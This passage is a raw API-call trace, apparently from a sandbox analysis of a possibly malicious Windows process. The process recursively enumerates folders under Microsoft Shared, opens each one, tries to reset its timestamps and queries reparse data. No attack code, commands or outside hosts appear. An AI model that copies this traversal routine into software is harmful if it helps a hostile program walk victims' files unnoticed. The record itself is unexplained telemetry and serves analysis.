ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1 [0048.917] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 0 [0048.917] GetLastError () returned 0x12 [0048.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e64d0) returned 1 [0048.917] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0048.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0048.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0048.918] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0048.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0048.918] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0048.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0048.918] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0048.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0048.918] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0048.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0048.918] NtClose (Handle=0x16c) returned 0x0 [0048.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0048.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0048.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0048.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0048.918] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0048.919] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.919] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0048.919] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0048.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.919] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0048.920] GetLastError () returned 0x12 [0048.920] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0048.920] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0048.920] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.920] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0048.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.920] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0048.921] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0048.921] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0048.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0048.921] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0048.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0048.921] NtClose (Handle=0x16c) returned 0x0 [0048.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0048.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0048.923] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0048.923] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.923] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0048.931] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.931] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.931] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.931] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0048.932] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0048.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5838 [0048.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e64d0 [0048.932] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.932] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0048.932] GetLastError () returned 0x12 [0048.932] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0048.932] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0048.932] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.932] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0048.932] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0048.932] GetLastError () returned 0x12 [0048.932] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0048.932] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0048.932] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0048.932] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.932] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0048.932] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0048.932] GetLastError () returned 0x12 [0048.932] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0048.932] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0048.932] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0048.932] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0048.933] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0048.933] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0048.933] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14" (normalized: "c:\\program files\\common files\\microsoft shared\\office14"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0048.933] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14" (normalized: "c:\\program files\\common files\\microsoft shared\\office14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0048.933] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0048.933] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0048.933] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0048.933] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0048.933] NtClose (Handle=0x168) returned 0x0 [0048.933] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0048.933] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0048.933] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0048.933] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0048.933] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0048.933] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.934] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0048.934] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0048.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.934] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0048.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.934] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1 [0048.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.934] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1 [0048.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.934] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, 